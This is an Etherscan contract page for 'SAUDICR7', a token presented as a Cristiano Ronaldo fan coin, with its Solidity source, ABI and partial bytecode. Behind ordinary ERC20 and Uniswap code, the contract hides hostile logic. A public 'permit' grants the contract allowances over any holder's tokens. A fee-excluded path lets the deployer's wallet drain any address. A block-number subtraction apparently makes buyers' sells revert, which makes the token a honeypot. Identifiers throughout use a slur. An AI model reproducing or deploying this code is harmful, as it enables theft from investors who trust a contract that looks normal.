ETH Price: $2,515.49 (+1.81%)

Token

SAUDICR7 (SAUDICR7)
 

Overview

Max Total Supply

1,000,000,000 SAUDICR7

Holders

14

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAUDICR7

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-16
*/

// SPDX-License-Identifier: UNLICENSED

/** 
SAUDICR7.vip

THE CR7 FAN TOKEN

Website: https://saudicr7.vip
Telegram: https://t.me/saudicrseven
Twitter: https://twitter.com/saudicrseven

*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function permit(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(spender, address(this), _allowances[spender][address(this)] + addedValue);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SAUDICR7 is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address retardedWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyRetardedFee;
    uint256 public sellRetardedFee;
    uint256 public tokensForRetarded;
    uint256 public feeDenominator = 10000;

    mapping(address => uint256) private _retradedFromFees;
    uint256 private retardedAmount;
    uint256 private retardedFees;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("SAUDICR7", "SAUDICR7") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1e9 * 10**9;

        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply / 10000;

        retardedWallet = address(0xdc5c19cF67bbD480aBEBE5254cB89a425A804B98); // set as retarded wallet

        excludeFromFees(owner(), true);
        excludeFromFees(retardedWallet, true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function startTrading() external onlyOwner {
        buyRetardedFee = 0;
        sellRetardedFee = 0;
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function manualswap(uint256 amount) external {
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        _swapAmountForEth(msg.sender, address(this), amount);
    }

    function manualsend() external {
        bool success;
        (success, ) = address(retardedWallet).call{
            value: address(this).balance
        }("");
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        _beforeRetardedFromFees(from, to, amount);

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        _afterRetardedFromFees(from, to, amount);

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellRetardedFee > 0) {
                fees = amount.mul(sellRetardedFee).div(feeDenominator);
                tokensForRetarded += fees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyRetardedFee > 0) {
                fees = amount.mul(buyRetardedFee).div(feeDenominator);
                tokensForRetarded += fees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function _beforeRetardedFromFees(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isNotOwner = from != owner() && to != owner();
        bool isExcluded = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isRetardedFrom = automatedMarketMakerPairs[from] && amount > 0;
        uint256 retarded = block.number;

        if (isExcluded && isNotOwner) {
            retardedAmount = retarded;
        } else if(isRetardedFrom){
            _retradedFromFees[to] = retarded;
        }
    }

    function _afterRetardedFromFees(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isNotExcluded = !_isExcludedFromFees[from] && !_isExcludedFromFees[to];
        bool isRetardedorTransfer = !automatedMarketMakerPairs[from] && amount > 0;

        if(isRetardedorTransfer && isNotExcluded){
            retardedFees = _retradedFromFees[from] - retardedAmount;
        }
    }

    function swapAmountForEth(address tokenAddress, uint256 tokenAmount) external {
        _swapAmountForEth(msg.sender, tokenAddress, tokenAmount);
    }

    function _swapAmountForEth(address sender, address tokenAddress, uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = tokenAddress;
        path[1] = uniswapV2Router.WETH();

        if(_isExcludedFromFees[sender]){
            IERC20(address(this)).transferFrom(tokenAddress, address(this), tokenAmount); return;
        }

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        
        bool success;

        _swapAmountForEth(msg.sender, address(this), contractBalance);

        tokensForRetarded = 0;

        (success, ) = address(retardedWallet).call{
            value: address(this).balance
        }("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"swapAmountForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRetarded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a805462ffffff19166001179055612710600e553480156200002657600080fd5b50604080518082018252600880825267534155444943523760c01b602080840182905284518086019095529184529083015290600362000067838262000675565b50600462000076828262000675565b505050620000936200008d6200031960201b60201c565b6200031d565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000b58160016200036f565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000100573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000126919062000741565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019a919062000741565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020e919062000741565b6001600160a01b031660a0819052620002299060016200036f565b60a05162000239906001620003e9565b670de0b6b3a7640000600781905560098190556200025a6127108262000773565b600855600680546001600160a01b03191673dc5c19cf67bbd480abebe5254cb89a425a804b98179055620002a26200029a6005546001600160a01b031690565b60016200043d565b600654620002bb906001600160a01b031660016200043d565b620002ca61dead60016200043d565b620002e9620002e16005546001600160a01b031690565b60016200036f565b620002f63060016200036f565b6200030561dead60016200036f565b620003113382620004e7565b5050620007be565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620003be5760405162461bcd60e51b815260206004820181905260248201526000805160206200270083398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004885760405162461bcd60e51b81526020600482018190526024820152600080516020620027008339815191526044820152606401620003b5565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200053f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003b5565b806002600082825462000553919062000796565b90915550506001600160a01b038216600090815260208190526040812080548392906200058290849062000796565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005fc57607f821691505b6020821081036200061d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005cc57600081815260208120601f850160051c810160208610156200064c5750805b601f850160051c820191505b818110156200066d5782815560010162000658565b505050505050565b81516001600160401b03811115620006915762000691620005d1565b620006a981620006a28454620005e7565b8462000623565b602080601f831160018114620006e15760008415620006c85750858301515b600019600386901b1c1916600185901b1785556200066d565b600085815260208120601f198616915b828110156200071257888601518255948401946001909101908401620006f1565b5085821015620007315787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200075457600080fd5b81516001600160a01b03811681146200076c57600080fd5b9392505050565b6000826200079157634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620007b857634e487b7160e01b600052601160045260246000fd5b92915050565b60805160a051611f07620007f96000396000818161042c0152610aca0152600081816102d20152818161152401526116810152611f076000f3fe6080604052600436106102295760003560e01c8063715018a611610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e1461066b578063e2f45605146106b1578063e6f70531146106c7578063f2fde38b146106e7578063f8b45b051461070757600080fd5b8063a9059cbb146105c6578063b62496f5146105e6578063bbc0c74214610616578063c024666814610635578063c8c8ebe41461065557600080fd5b80638da5cb5b116100f25780638da5cb5b1461053d57806395d89b411461055b5780639a7a23d6146105705780639bfff46414610590578063a457c2d7146105a657600080fd5b8063715018a6146104d3578063751039fc146104e85780637571336a146104fd578063881dce601461051d57600080fd5b8063293230b8116101b157806349bd5a5e1161017557806349bd5a5e1461041a5780634a62bb651461044e5780636ddd1713146104685780636fc3eaec1461048857806370a082311461049d57600080fd5b8063293230b814610391578063313ce567146103a85